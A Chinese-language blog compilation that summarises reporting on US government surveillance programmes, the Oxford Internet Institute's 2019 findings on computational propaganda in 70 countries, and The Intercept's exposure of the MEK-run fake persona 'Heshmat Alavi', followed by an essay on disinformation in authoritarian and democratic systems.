多利益相关方模型、新自由主义和全球（互联网）治理——

Gurstein在2014年3月写道：有些令人吃惊的是关于美国政府（USG）及其盟友和互联网治理讨论中的企业、技术和民间社会参与者之间的盟友和助手的全面报道，扩展 MS 模型的高度本地化版本的使用。目的是将MS模型的使用从非常狭窄的技术领域转移到已经取得相当程度成功的领域，值得注意的是，“多利益相关方主义”似乎已经取代了“互联网自由”（“互联网自由”在斯诺登文件发布后被民间讽刺为“监视操纵和权力滥用的自由”）[The Multistakeholder Model, Neo-liberalism and Global (Internet) Governance]

互联网的政治转变——

超过1,000个新的通用顶级域名由国际指定名称和号码管理公司推出。这一举措改变了我们所知道的互联网的外观和感觉，并具有重要的政治影响—— 通用顶级域名的爆炸式增长是一系列尝试定义互联网空间与主权国家之间关系的新阶段。

此举恰逢试图将互联网治理从美国主导的用户的相对非正式舞台转移到一个更正式的政府间组织，在这个组织中，美国和企业的统治地位将会有所减弱。这项努力的失败在国家代码顶级域名的不断变化的使用中得到了回应。[Domain name expansion signals political shift of the internet]

——监视是为了操纵——

「图」

NSA 监控是关于控制和杠杆的，而不是安全：六个多月来，斯诺登关于国家安全局（NSA）的披露已经在一众媒体中爆炸。然而，没有人指出，对于对于华盛顿来说，这是胜利而不是失败。

国家安全局的最新技术突破在预测权力和保持下属盟友队列整齐方面发挥着至关重要的作用，看起来像是一个廉价的基础交易—事实上，就像世纪窃贼。即使被揭露，也无法改变这一根本性作用。华盛顿精英喜欢这样做而不是反感。

一个多世纪以来，从1898年菲律宾和解到今天与欧盟贸易谈判，监视及其近亲兄弟—— 即 丑闻和肮脏的信息，一直是华盛顿寻求全球统治的关键武器。毫不奇怪，在9/11后的两党行政权力行动中，乔治•W•布什和巴拉克•奥巴马（Barack Obama）已经主持了建立国家安全局的步骤，秘密迈向数字全景监控，旨在监控全球每一位美国人和其他国家领导人的沟通。[NSA Surveillance is about Control & Leverage, not Security]

——FBI & PRISM——

「图」

2015年1月：国家安全局并不是唯一涉及大规模监视的 PRISM 计划的政府组织。

一份解密的报告显示，FBI 也逐渐加大了对搜索记录、聊天、和电子邮件收集计划的参与度。该报告有许多被修改之处，由司法部发布，这是时报提起的信息自由法案诉讼的结果。它详细说明了联邦调查局对 PRISM 日益增长的兴趣，已成为该计划的积极参与者。该计划显然扩大了该局作为监视机构的初始角色，该角色本应该旨在确保美国人的账户不被攫取，现在它被反过来了。[The FBI took advantage of the NSA's PRISM program]

黑客根据 **NSA** 的监视工具包创建了间谍插件——

NSA 泄漏的文件还被发现了一个隐蔽的 USB 棒，可用于监视离线设备。但该设备的成本高达惊人的20,000美元（13,200英镑）。然后，就有黑客团队使用便宜的电路板和其他部件创建了自己版本的监控套件，总价仅为20美元（13英镑）。[When USBs attack: Hackers create spy plug inspired by the NSA's surveillance kit—and it costs just £13 to make]

DEA 操作曝光——

2015年4月8日：人权组起诉DEA大量收集电话记录。在美国政府监管的法律挑战中开辟了另一个阵线。

人权观察的律师在洛杉矶的美国地方法院提起诉讼。该诉讼要求法官宣布 DEA 计划非法，并禁止DEA再次批量收集通话记录。该计划于2013年9月结束，然而至此，监视计划已经运行了**15**年。[Reuters: Rights group sues DEA over bulk collection of phone records]

2015年4月9日：DEA Global Surveillance Dragnet Exposed; 数据收集可能继续。"今日美国"报道的庞大计划与臭名昭著的"Project Crisscross"有一些相同的标志：它始于20世纪90年代初，表面上旨在收集有关贩毒的情报和全球目标国家情报，重点关注中美洲和南美洲。

这也让人联想到所谓的"半球项目"，即 2013年9月"纽约时报"发布的DEA行动，其历史可追溯到1987年，并且几乎每天都收集大量的国际通话记录。[DEA Global Surveillance Dragnet Exposed; Access to Data Likely Continues]

这是政治！——

2015年6月4日：一群两党华盛顿立法者向五角大楼官员征求意见，

关于他们能用些什么方法来“摧毁”前国家安全局承包商爱德华·斯诺登“在媒体和公众舆论中的可信度”。

这是根据VICE通过信息自由法（FOIA）诉讼获得的解密政府文件中暴露的。2013年12月和2014年2月，国会情报局（DIA）的高级官员在众议院和参议院监督委员会关于DIA对所谓的国家安全损害的评估的机密简报中提出了信息请求。[Inside Washington’s Quest to Bring Down Edward Snowden]

间谍行为的扩大化——

2015年6月4日：根据国家安全局的机密文件，奥巴马政府在没有公开通知或辩论的情况下扩大了国家安全局对美国国际互联网流量的无证监控。

文件显示，2012年年中，司法部律师写了两份秘密备忘录，允许间谍机构在没有逮捕令的情况下在美国境内大规模监视搜查。
[ProPublica: New Snowden Documents Reveal Secret Memos Expanding Spyin]

> Edward Snowden: 随着每个法庭的胜利，随着法律的每一次变化，我们可以证明事实比恐惧更有说服力。作为一个社会，我们将重新发现权利的价值不在于它隐藏的东西，而在于它所保护的东西。

感谢所有冒着生命危险说出真相的人。透明度革命已经有近40年历史，只要透明度革命还在继续，民主就不会死亡。更多监视操纵的报告详见 IYP 类目“监视和操纵”、“技术暴政”、“军事工业综合体”等部分。〇

原文

LR 看清信息战：2019全球有组织社交媒体操纵清单 - iyouport

心理战和信息战长读

【2020年5月20日存档】这是近年来关于全球信息战操纵手段最好的调查报告

信息战本身不是新鲜事。IYP有 “心理战和信息战” 专栏，里面有丰富的证据；我们也做过相关开源调查报告，如下：

- 《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》
- 《「可视化信息战」 第2部分：社交媒体战场、人工政治和逮捕》

但近年来在该领域出现的 “进展” 依旧是惊人的，即 “计算性宣传”。

使用算法、自动化和大数据来操纵公共生活的手段被称为 “计算性宣传”，它正在成为日常生活中无处不在的一部分。

牛津互联网学院 2019年的报告分析了计算性宣传的趋势以及不断发展的工具、能力、策略和资源。以下是这份报告，非常建议您读完。

概览：

「图」

1. 报告展示了在**70**个国家/地区开展的有组织社交媒体操纵运动的证据，高于2018年的48个国家、和2017年的28个国家。在每个国家，至少有一个政党或政府机构使用社交媒体在国内操纵公众态度（图1）。

- 社交媒体已成为被许多专制政权所采用为宣传工具。在26个国家/地区中，计算性宣传正以三种截然不同的方式用作信息控制的工具：压制基本人权、抹黑政治对手、并淹没反对意见（图

2）。
- 少数精明的国家行为者在对外国的影响力行动中也使用计算性宣传。 Facebook 和 Twitter 将外国影响力业务归于主要七个国家（中国，印度，伊朗，巴基斯坦，俄罗斯，沙特阿拉伯和委内瑞拉），这些国家一直在使用这些平台来影响全球受众（图3）。
- 中国已成为全球虚假信息信息战的主要参与者。在2019年香港抗议之前，已经有大多数有关中国操作计算性宣传的证据都发生在微博、微信和QQ等中国国内平台上。但是，中国对积极使用 Facebook、Twitter 和 YouTube 的新兴趣应该引起民主国家的担忧。
- 尽管如今社交网络平台比以往任何时候都要多，但 **Facebook** 仍然是社交媒体操纵的首选平台。在56个国家/地区中，牛津互联网学院在 Facebook 上发现了正式组织的计算性宣传运动的证据（图4）。

1. 不要错过《操纵式宣传：五个过滤器和识别线索》

- 最棒的分析《在线宣传战的结果》
- 系统梳理《宣传战的诡迹》

1. 不要错过《如何分辨：机器人、僵尸网络和 **trolls**》
2. 不要错过《10个简单技巧 快速验证社交媒体热门视频的真伪》
3. 压制基本人权

- 抹黑政治反对派
- 淹没政治异议

1. 《至少30亿社交媒体用户都在受到其政府的监视》
2. 请注意！《摆脱操纵和宣传：**28**个长期技巧》
3. 调查方法《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》
4. 《中国在香港的剧本也在亚太地区上演》
5. 《是谁在操纵维基百科？》——中国
6. 调查演示《网络水军如何试图影响选举？ 一个调查案例，观察对选民的在线心理战》

- 演示《虚假信息游戏：社交网络纷杂的信息环境下如何击败阴谋论？》
- 揭露《信息战：揭露政府的宣传机器如何伪装成“独立媒体”和 NGO 以混淆视听》

1. 对报道网络部队活动的新闻文章进行系统的内容分析；

- 对公共档案和科学报告进行二次文献审查；
- 起草针对国家的案例研究；
- 专家咨询。

1. 而且这种行为非常有传统……《冷战故事 ~ CIA 如何操纵媒体影响舆论：Mockingbird 行动》
2. 相关报告《诈：在线信息战操纵战略的多样化》
3. 英国《秘密宣传战网络》
4. 美国《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》
5. 关于剑桥分析公司的内幕《心理操纵的秘密："行为经济学"＋PR＝？》
6. 心理分析《假新闻产业触目惊心 互联网人真的如此好骗？》
7. 传播支持政府或支持政党的宣传；

- 攻击反对派或开展抹黑运动；
- 引导并转移注意力；
- 推动分裂和两极分化；
- 通过人身攻击或骚扰压制参与。

1. 散布虚假信息或可操纵性媒体；

- 大规模举报内容或帐户；
- 数据驱动策略；
- **trolling,** 人肉 或 骚扰;
- 在线放大特定的内容和媒体

1. 不要错过《抵制在线攻击：不要被 **trolling** 和 **Doxing** 压垮 **(2)**》
2. 《媒体操控：战略性欺骗的重头戏》
3. 我们在2014年就曝光过中国采取的相关方法，见《网络水军的布局》
4. 不要错过《如何分辨：机器人、僵尸网络和 **trolls**》
5. 不要错过另一份报告《巨魔崛起：政府资助的网络水军正遍布全球》
6. 再补充一个《杀死华盛顿邮报记者 Jamal Khashoggi 的杀手在美国接受的培训》
7. 请注意《谁正在成为独裁者？这十点迹象帮你判断》
8. 不要错过《选举如何成为一门生意：私人情报市场和现实的有

偿操纵者》
9. 《社交媒体破坏民主的证据越来越多 》
10. 不要错过《讨论的终结》这是一个很有效的解释案例
11. 《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》
12. 《为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？》
13. 《你真的想要思想自由吗？如果是，可以怎么办？》

我们需要能回答上述问题。〇

University of Oxford：The Global Disinformation Order

原文

一个惊人的案例：积极的反政府抗议者居然是个假人 - iyouport

心理战和信息战

【2019年6月25日存档】一名活跃于个各大主流媒体专栏中和社交媒体上的“政治反抗者”，居然是一个假人，并不存在的人，是臭名昭著的信息战组织制作出来的宣传工具……这究竟是怎么回事？

在2018年，特朗普试图抛弃他的前任在2015年与伊朗签署的具有里程碑意义的核协议，他当时正在寻找方法去压倒持怀疑态度的新闻。

白宫声称，核协议允许伊朗增加军事预算，华盛顿邮报记者 Salvador Rizzo 和 Meg Kelly 要求提供信源。

作为回应，白宫拿出了一篇名为 Heshmat Alavi 的作家在福布斯新闻上发表的一篇文章。

这就是故事的关键。

Rizzo 和 Kelly 这两位记者报道说，根据福布斯撰稿人 Heshmat Alavi 在白宫官员发给我们的一篇文章中所说，“伊朗目前的预算主要通过’石油、税收、增加债券、[并]消除伊朗人的现金补贴”来资助。

他们完全没有怀疑这篇文章。

而白宫也曾使用 Alavi 的文章 —— 部分来自伊朗消息来源 —— 以证明其终止协议的决定是正当的。

但是，有一个问题：⚠**Heshmat Alavi** 这个“人”并不存在。

Alavi 的角色是由伊朗反对派组织 **Mojahedin-e-Khalq** 开展的信息战活动制造出来的，该组织以其缩写 **MEK** 闻名，两名消息人士告诉 The Intercept。

“Heshmat Alavi 是一个由 MEK 政治部门人员组成的角色扮演，”来自 MEK 的高级叛逃者 Hassan Heyrani 说，他说他对这次行动有直接的了解。

“他们写下指挥官要求的任何东西，并用这个虚拟人物的名字在报刊上刊登大量文章。这不是、从来都不是个真正的人。”

Heyrani 表示，⚠这个假人形象是由阿尔巴尼亚的一个 MEK 特工团队管理的，该团队有一个基地，专门用于在线信息战。

Heyrani 的说法和 Sara Zahiri 一致，Sara Zahiri 是一位专注于 MEK 的波斯语研究员。

在伊朗政府网络安全官员中有消息来源的 Zahiri 说，Alavi 在伊朗内部被称为一个由 MEK 成员团队管理的“团体账户”，并且 Alavi “本人”并不存在。

“Alavi”，这个在福布斯网站上的撰稿的作者在文章旁边的简历中自称是“一名对平等权利充满热情的伊朗活动家”。

⚠过去几年里，这个假人一直多家主流媒体如福布斯、Hill、Daily Caller、The Federalist、阿拉伯卫星电视台英文版等，发表了大量关于伊朗的文章。

以“Alavi”的名义发布的文章、以及这个假人的社交媒体的存在，似乎对 MEK 来说是一个福音。

MEK 以其精巧的宣传而闻名 —— 在伊朗臭名昭著。

过去十年来，**MEK** 已经将信息战的注意力转向英语受众 —— 特别是在美国、加拿大、和英国等国，这些国家的外交政策是 **MEK** 计划推翻伊朗政权并取而代之的核心目标。

这个假人 Alavi 的角色由三个 MEK 成员管理。

Heyrani 曾一度帮助协调该组织的在线活动。他指出了 MEK 政治部门的个人和指挥官，他们负责以 Heshmat Alavi 的名义撰写英文文章和推文，并与 The Intercept 分享了这些人的照片和名字。

“他们是我的朋友。我们是亲密的朋友”，Heyrani说，“我们在一起工作。”*Hassan Heyrani. Photo: Courtesy of Hassan Heyrani*

Heyrani 解释说，MEK 领导层对于以自己的名义操作信息战角色的流利英语使用者不会表现得很友好。

他说，普通成员不被鼓励拥有突出的公众形象 —— 这反映了许多评论家所指出的 **MEK** 邪教般的操作原则。

“该组织的领导者不允许任何人使用自己的真实姓名，”Heyrani 说，“因为领导者是组织中的第一人，所有事情都在他们的阴影之下运行。”

⚠MEK 进行了无情的在线信息战宣传活动，利用机器人网军以“群体”的外观形象抨击有关伊朗的在线辩论。

Heyrani 说，管理 Heshmat Alavi 帐户的 MEK 团队的目标之一是以 Alavi 的名义专门在美国媒体上发布文章。

Intercept 要求对 MEK 政治部门发表评论的请求、以及对 Alavi 角色操作员的采访请求，都没有得到答复。

另一位现居加拿大的前 MEK 成员 Reza Sadeghi 证实，Heyrani 确定的三人组合的确参与了该组织的在线信息战操作。

Sadeghi 是 MEK 的成员工作直到2008年，他也参与了对美国的游说活动，以及 **MEK** 在伊拉克阿什拉夫营地的行动。

他描述了一个由该集团管理的不断增长的在线宣传中心，旨在影响有关伊朗的在线讨论。

⚠“我们一直在积极将虚假新闻传播到外国媒体和伊朗，” Sadeghi 说。

“在阿什拉夫营地，有一些计算机可以进行在线信息战操作。多年来，随着 **Facebook** 和 **Twitter** 等社交媒体平台的流行，**[**信息战**]** 活动变得更加激烈。”

MEK 是政治反对派中最具争议的组织之一。

虽然今天它主要涉及政治活动和游说，但该组织也有暴力史。

从1997年到2012年，MEK 被美国国务院列为外国恐怖主义组织，这一地位最终被奥巴马政府外交协议部分撤销。

该组织最后一次声称为暴力袭击负责是在2001年。

MEK 最初支持伊斯兰革命，但是，在以文职为首的伊斯兰共和国成立后不久就失宠了。

随后的镇压迫使该团体流亡，在法国和伊拉克之间运作 —— 由于萨达姆侯赛因的慷慨，该团体占领了阿什拉夫营地，作为参与两伊战争中转站。

美国入侵伊拉克之后的几年对于 MEK 来说是非常痛苦的，而被列入恐怖主义组织则让状况更加复杂了。

当美国撤军时，他们将 MEK 伊拉克基地的安全工作交给伊拉克政府；接下来是另一轮暴力镇压。

2012年将 MEK 从美国的恐怖组织名单中删除的协议促成了数千名 MEK 成员从伊拉克迁移到阿尔巴尼亚，该组织被安置在一个新的秘密建筑物中。

根据 MEK 叛逃者 Heyrani 的说法，就是阿尔巴尼亚的这个基地，一些管理 **Alavi** 假人物角色的 **MEK** 成员在这里工作。*Alavi's author page for Forbes. Screenshot: The Intercept*

⚠Alavi 的文章倾向于将伊朗政府严厉的谴责与不那么微妙的建议混为一谈 —— 以争取令现任政府被 MEK 及其领导人 Maryam Rajavi 所取代。

该团体似乎利用 **Alavi** 取得了巨大成功，特别是在美国主流媒体福布斯新闻上。

Intercept 向 Alavi 在过去几年发表文章的主流媒体的编辑们致电，以询问假人的问题。

但是，这些主流媒体都没有能够证实他们曾与“Alavi”交谈过或遇到过 Alavi。

根据这些出版物的发言人的说法，这些稿子是免费的，他们没有为这个假人给福布斯、Daily Caller、或 the Diplomat 的写作付钱。

虽然“Alavi”主要在一些主要是右倾的出版物上发表关于伊朗的文章，但到目前为止，他的文章最常出版的地方是福布斯。

在**2017**年**4**月至**2018**年**4**月的一年中，**Alavi** 为福布斯网站发布了惊人的**61**篇文章。

2014年以 Alavi 的名义创建的 Twitter 帐户拥有超过30,000名粉丝，⚠其中包括一些记者和基于华盛顿的保守派智囊团员工。

该帐户经常分享赞美 Rajavi 的文章和标签，并分享 MEK 举办的抗议和活动的镜头。

Alavi 这个假人似乎在华盛顿的右翼圈子中获得了一定程度的认同。

除了福布斯和其他网站发表的许多文章之外，Alavi 还推出了一个名为“伊朗评论”的博客，该博客的描述中自称其关注“与伊朗和中东有关的问题”。

以 Alavi 的名义出版的作品整体上对伊朗政府和哈桑·鲁哈尼持一贯的强硬态度；尤其是，这些文章也混淆了对伊朗和美国政策的批评，并公开宣传 **MEK**。

他在 Daily Caller、The Hill和其他媒体网站上的作品 —— 虽然比他对福布斯的贡献少，但是都采用了类似的对伊朗政权的宣传和对 MEK 的赞扬。

⚠虽然众所周知 MEK 在伊朗人中间受到广泛厌恶，但 Alavi 在2017年写给 Daily Caller 的文章中自称该组织为“伊朗主要反对派组织”。

The Diplomat 是一个外交政策网站，在2017年发布了一些 Alavi 的作品，他们说 Alavi 通过 Gmail 帐户给编辑发送了文章草稿。

据称 Alavi 发送了数十篇文章，但最终只有少数文章被接受。

一位要求匿名讨论内部事务的消息人士表示，外交官在确定他的文章不符合出版标准后停止接受 Alavi 的推销。

Daily Caller 还告诉 The Intercept，他们已经停止发布 Alavi 的文章，因为对他提交的文章质量表示担忧。

TheHill、al-Arabiya English 和 The Federalist 没有回复评论请求。

“我们在2018年初终止了与 Heshmat Alvi 的关系，” 福布斯发言人在给 The Intercept 的一份声明中表示。

“Forbes.com 的所有贡献者都签署了一份合同，要求他们披露任何潜在的利益冲突。如果我们发现贡献者违反了这些条款，我们会对案件进行全面调查，并在适当的时候终止合作关系。”*Maryam Rajavi speaks at a conference outside of Paris, France, on Aug. 25. 2018. Photo: Siavosh Hosseini/SIPA via AP*

⚠**MEK** 使用多种手段在华盛顿获得影响力。

该组织已派出杰出的政治人物发表演讲和新闻发布会、向政治家捐款、并通过这些对话者在媒体上的表现以及自身强大的社交媒体存在，传播其信息。

在2018年，MEK 的社交媒体业务是半岛电视台“Listening Post”纪录片的主题。

该宣传战小组利用这些公关努力实现其政策目标。

直到2012年，MEK 主要专注于脱离美国的“恐怖组织”名单。

而在接下来的几年里，该组织专注于攻击伊朗与美国之间的核外交，并在**2015**年之后攻击该协议本身。

在整个过程中，MEK 的信息战强调政权更迭 —— 并试图将 MEK 作为伊朗伊斯兰共和国领导层的可行替代方案，并提供了作为该组织公众形象十五年的 Rajavi 作为领导国家的替代方案。

Alavi 在福布斯的一篇文章中呼吁国际支持伊朗的政权更迭，他写道：

现在是搁置伊朗“改革派”海市蜃楼的时候了。几十年来，作为伊朗国家抵抗委员会主席的玛丽亚姆·拉贾维（*Maryam Rajavi*）正在为伊朗提供唯一的、现实的替代方案，其十点计划得到了全球数千名当选官员的支持。

就像 MEK 提升 Rajavi 的目标一样，Alavi 的宣传战消息也与该组织攻击伊朗核协议的努力联系在一起。

在2017年至2018年期间，当 Alavi 的文章出现在福布斯上时，特朗普正在采取措施将美国从这笔交易中解脱出来，尽管欧洲盟友和前奥巴马政府官员都反对。

Alavi 的文章努力怂恿政府，其中包括 “伊朗感受特朗普对核交易的热

情”、以及“特朗普如何正确地接近伊朗的核协议”等项目。

在**2018**年**5**月，特朗普宣布美国将退出协议 —— 此刻就在 **Alavi** 的上一篇文章发表在福布斯的一个月之后。

白宫在2018年向华盛顿邮报提出的以退出核协议为理由的 Alavi 文章引用了伊朗政府的半官方消息来证明鲁哈尼政府增加的军费开支。

Alavi 的文章典型地夸夸其谈，称赞特朗普政府结束对伊朗的“绥靖”政策，并指责欧洲“与凶残的毛拉政权并肩作战，违背伊朗人民的意愿”。

⚠这个**“Alavi”** 对美国政治话语的压力，而不是伊朗本身的压力 —— 似乎是 **MEK** 战略的一部分。

“该组织几乎没有使用波斯语制作什么内容。他们似乎已经放弃了在伊朗国内获得影响力。他们现在的主要目标是影响英语世界的人”，马苏德·霍达班德（Massoud Khodabandeh）说，他是 MEK 情报部门的前成员，他于1996年离开该组织。

“他们的在线战略只在华盛顿有效；在德黑兰不起作用。”

⚠这场信息战除了社交媒体战略和定期文章外，MEK 还参与了更高风险的信息活动。

2002年，MEK 揭露在纳坦兹市附近存在一个隐蔽的伊朗核设施。

但是，根据军控专家的说法，MEK 发布的关键细节是错误的。

“纽约客”杂志2006年的一篇文章也表明，该情报可能是被以色列情报部门传递给该组织的，这使人质疑 MEK 声称它在伊朗境内经营着一个强大的间谍网络。

不仅如此，在其他情况下，MEK 的信息也不太可靠，引起许多西方国家安全分析师的怀疑。

在2015年的新闻发布会上，MEK 官员声称有证据证明在伊朗正在建造一个秘密核设施，并附有该站点的秘密照片。

这一说法部分被自由派网站 Daily Kos 的博主揭穿。

声称是该核设施大门的照片进行反向图片搜索验证的结果显示，它实

际上是从伊朗的一个商业网站上拍摄的，是个广告，宣传保险箱。

- 附《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》
- 《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》

通过其积极的社交媒体存在，MEK 在影响伊朗在线政策辩论方面取得了重大的成功。

任何有关该组织甚至伊朗政治的言论都可以通过推特和其他社交媒体上的回复评论来满足。

许多亲 MEK 账户将重复相同的信息，通常是逐字逐句、汇聚任何评论员的提及。

社交媒体专家、社交媒体制图公司 SocialCartograph 的创始人 Geoff Golberg 特别注意到 Alavi 的推特账户，他指出，该账户似乎是在线营销活动的一个节点，以提升**MEK**的形象。

该帐户受到其他亲 **MEK** 账户的大力推动，其他推动者还包括对伊朗对抗政策的支持者。

⚠对于不经意的观察者来说，这些群体的在线活动似乎显示了大量的伊朗人对 MEK 正在推广的东西充满热情 —— 事实上都是假象。

“Heshmat Alavi 账户是一组账户的一部分，这些账户多年来一直参与协调的虚假信息战行为”，Golberg 说。

“该帐户与数千个不真实的以 MEK 为重点的帐户相关联，其中许多帐户经常与该假帐户的推文互动。这些努力的目标是创造一个比现实中更大的支持基础的幻觉”。

- 《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》
- 《「可视化信息战」 第2部分：社交媒体战场、人工政治和逮捕》
- 还有更恶劣的《信息战：揭露政府的宣传机器如何伪装成“独立媒体”和 NGO 以混淆视听》
- 《骇客如何利用主流媒体愚弄大众？》（以下内容即将连续发布）
- 《秘密宣传战网络》
- 《操纵式宣传：五个过滤器和识别线索》

- 《宣传战的诡迹》

Alavi's Twitter account. Screenshot: The Intercept

除了他的社交媒体、他的文章、和他给编辑的电子邮件之外，Alavi 也在网上留下了一些痕迹。

一张照片、一张经过严格过滤的侧脸照片，用于所有 **Alavi** 的作者个人资料、他的 **LinkedIn** 页面和 **Twitter** 帐户。

照片的起源尚不清楚。

- 《如何通过社交媒体头像挖掘网络水军 —— 开源调查演示》

⚠请注意：在这里照片是侧脸而且低头，并且经过润饰，这种拍摄方法可以在照片的角度上抵制多数人脸识别技术。

至少，有强烈迹象表明这个假人 Alavi 的"人格"不是它声称的那样。

近年来，使用假身份进行政治宣传已经变得很普遍。

2018年英国广播公司新闻调查了另一个虚假的网络"名人"：一个名为"Sarah Abdallah"的 Twitter 账户，在叙利亚战争的在线辩论中大量混淆。

这个假人 Sarah Abdallah 的说法在某些方面与政治领域相反，这点和假人 Alavi 一样；**Abdallah** 是伊朗亲密盟友巴沙尔·阿萨德的叙利亚政府的声音支持者。

一家在线研究公司确定 Abdallah 的账户是"关于叙利亚在线对话中最具影响力的社交媒体账户之一"。

虽然英国广播公司的调查引起了人们对数百名真正的记者居然关注阴暗在线假账户所影响的严重担忧，但它没有得出结论认为 Abdallah 由前线组织操作。

然而，尽管这个"她"具有强大的在线影响力，**Sarah Abdallah** 却从来没有能够取得假人**"Heshmat Alavi"**那样的成功，后者的文章发表在多家美国主流媒体上，并在白宫被宣读。

⚠对于那些不熟悉伊朗内部政治的人来说，这个假人 Alavi 可能的确像是"一位对平等权利充满激情的伊朗活动家" —— 这是"他"在其简

介中所写的。

前 **MEK** 成员 **Heyrani** 说，这个幻觉正是该信息战团队希望与假角色一起创造的效果。

Hejarani 说：“Mojahedin” —— 伊朗 MEK 的名字 —— “希望向全世界展示他们的叙述得到了支持，即使是那些不是该组织直接成员的人也是如此。”

Heshmat Alavi 的帐户目前已经被 Twitter 冻结。

此后不久，在另一个社交媒体网站 QuodVerum 上又出现了 Alavi 名字的账号，并发表了一篇帖子，驳斥真相的揭露者。

上述发布该假人文章的主流媒体部分已经关闭了其专栏页面，其他媒体撤下了部分文章。〇

AN IRANIAN ACTIVIST WROTE DOZENS OF ARTICLES FOR RIGHT-WING OUTLETS. BUT IS HE A REAL PERSON?

原文

为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？ - iyouport

为什么心理战和信息战

【2018年12月13日存档】如果你选的路是错的，越是努力其结果就越糟

一些中国的高级知识分子告诉我，他们喜欢假消息。这听起来似乎很惊人。但我被告知，假消息在中国是“一种反抗精神”，是对当局操控的“辟谣”的反叛。我能了解这其中所描述的现象，因为它在任何国家都不是新闻；但我无法理解这一逻辑，它直接玷污了反抗者的概念。

很多主流媒体都会告诉你，是特朗普所表达的对记者的抨击和仇恨导致了新闻自由度暴跌；不过如果你了解民粹主义政客的社交媒体运作方式就应该能明白，这些标志性言论建立在大众的既有认知之上—它并非凭空编造。

美国公众对主流媒体的厌恶已经由来已久，IYP 曾经在这篇文章中《媒体，你真的知道什么是事实吗？》部分解释了这一背景，特朗普自己如何认为媒体是次要的，重要的是他知道能够通过抨击媒体赢得支持者的再一次兴奋。

特朗普在此没有任何原创，他只是制造了一个新词“假新闻”，而政客对自己不喜欢的一切消息都称之为“假”这种做法有着悠久的历史。“Shooting the Messenger” 就是这样一个隐喻，用来形容类似中文中所说的“睡不着觉埋冤枕头”。在现代电信出现之前，消息通常由人类信使传递。例如在战争中，一个信使将消息从一个营地带到另一个营地。如果消息引起了厌倦和惶恐，接收信息的一方就可能会将这种坏消息归咎于信使，并且把愤怒施加在信使身上。

中国也是这样做的。当局的“谣言”论只是在驳斥那些让当权者感觉不舒服的消息。事实上全球新闻自由指数连续数年持续滑坡在很大程度上由于各国的当权者更加热衷于“Shooting the Messenger” 了。

但本文希望讲述的并不只有这种被政客武器化了的“假消息”，更有真

正的假消息，即 部分中国高级知识分子和公民群体将其期待为“反抗行为艺术”的东西。前后两者看起来是有区别的，但是在本质层面上它们完全一致。

“虚假消息”通常携带着强烈的仇恨和激发严重暴力的引导，它们已经在很多国家造成了真实的杀戮和迫害、操纵了选民的认知、分裂了社会、让专制政客得利其中，民主摇摇欲坠。相比下，中国社会弥漫的往往是基于流量经济和内容营销而制造的假消息，则直接起到了阻碍民主变革的作用。

撒谎的权力

专制权力建立在谎言之上，谎言—或者准确说是操纵现实的能力—让权力得以实现并不断被稳固和加强。只要你能让人们信任你所描述的东西，人们就会拥护你赋予你权力、满足你想要的目的。

虚假信息宣传活动体现了美国社会的分歧—— 选民欺诈、疫苗阴谋以及关于移民问题、乔治索罗斯和 Black Lives Matter 的种族主义阴谋，这只是仅举几例而已—— 而这些鲜明的分歧恰恰是俄罗斯等独裁政体的力量源泉，正是由于人们对哪些是事实、哪些是被政权制造出来的“事实”之判断缺乏共识，从而加强了普京及其寡头的权力。

英国的脱欧公投是异曲同工的被虚假信息宣传活动推动的结果。两国的民粹主义政客不仅从对移民的妖魔化中获益—特别是来自叙利亚的移民—而且还获益于微妙的反犹主义和赤裸的对伊斯兰教的仇视。两者都导致了种族主义、不容忍和针对少数民族和有色人种的仇恨犯罪“严重增加”。有利于英国脱欧和特朗普胜选的投票与经济焦虑或贫困的关系并不大（是的主流媒体的叙述有误），更多的是与文化焦虑和种族怨恨有关。任何能够在最大程度上调用这种社会情绪的人都能实现操纵民意和稳固权力。

冷战式的国家安全是围绕冷战思想的，如进攻—防御平衡，传统威慑理论和对威慑的抵制，而这些都不足以思考关于虚假信息的攻击问题;与此同时，信息安全被局限于关于“服务器和个人网络”的思考层面，而不是“攻击更广泛的民主社会结构的后果“。显然这是不充分的。

为什么专制国家能通过撒谎获得稳定？而民主国家通过撒谎获得的是混乱和危机？

政治学家 Henry Farrell 在一篇新论文中提出了一个很好的问题：他指出应该通过信息安全的视角来看待民主，以便了解当前互联网虚假

信息攻击的浪潮。具体来说，需要能解释为什么在俄罗斯发挥稳定作用的同样的虚假宣传活动在美国造成的却是不稳定？

答案将围绕着独裁政体和民主国家作为信息系统运作的不同方式。

我们首先要区分两种不同社会在其政治制度中对共同政治认识的使用，这是指人们在一个社会中普遍认同的信息体。人们同意谁作为统治者以及他们对合法性的主张是什么。人们普遍同意他们的政府如何运作，即使其中有些人不喜欢这种运作方式。在一个民主国家里是指，人们同意选举如何运作：如何创建和界定选区，如何选择候选人，以及他们的投票数量—即使只是粗略的和不完美的。

这似乎是很基本的东西，但当我们在独裁和民主国家中对比这两种形式的认识时，它就会变得很有趣了。这两种不同形式的政府对共同的和有争议的政治认识有着完全相反的需求。

例如民主国家，利用其人民中存在的分歧来解决问题。不同的政治团体对如何治理有着不同的看法，这些团体通过说服他们的选民以争夺自己的政治影响力。关于谁将负责并能够制定政策目标，也存在长期的不确定性。理想情况下，这是一种机制，通过这种机制，政体可以利用其成员的多样性观点来更好地解决复杂的政策问题。如果没有人知道下次选举后将换谁来负责，不同的政党和候选人就会争先恐后地去说服选民不同政策提案的好处。

但是要知道，为了实现这一目标，就需要人民对政府职能以及如何选择政治领导人有共同的认识。还需要了解政治参与者是谁，他们和他们的政党代表什么，以及他们如何相互冲突。此外，这种认识在各种各样的行为者中分散化—这是一个基本要素，因为普通公民在政治决策中发挥着重要作用。

那么将民主与专制对照一下。在专制国家，关于谁负责长期统治以及他们的政策目标是什么的共同政治认识，是稳定的基本条件。独裁政权不需要关于选举效力和公平性的共同政治认识，并且要努力保持对其他任何形式的共同政治认识的垄断。

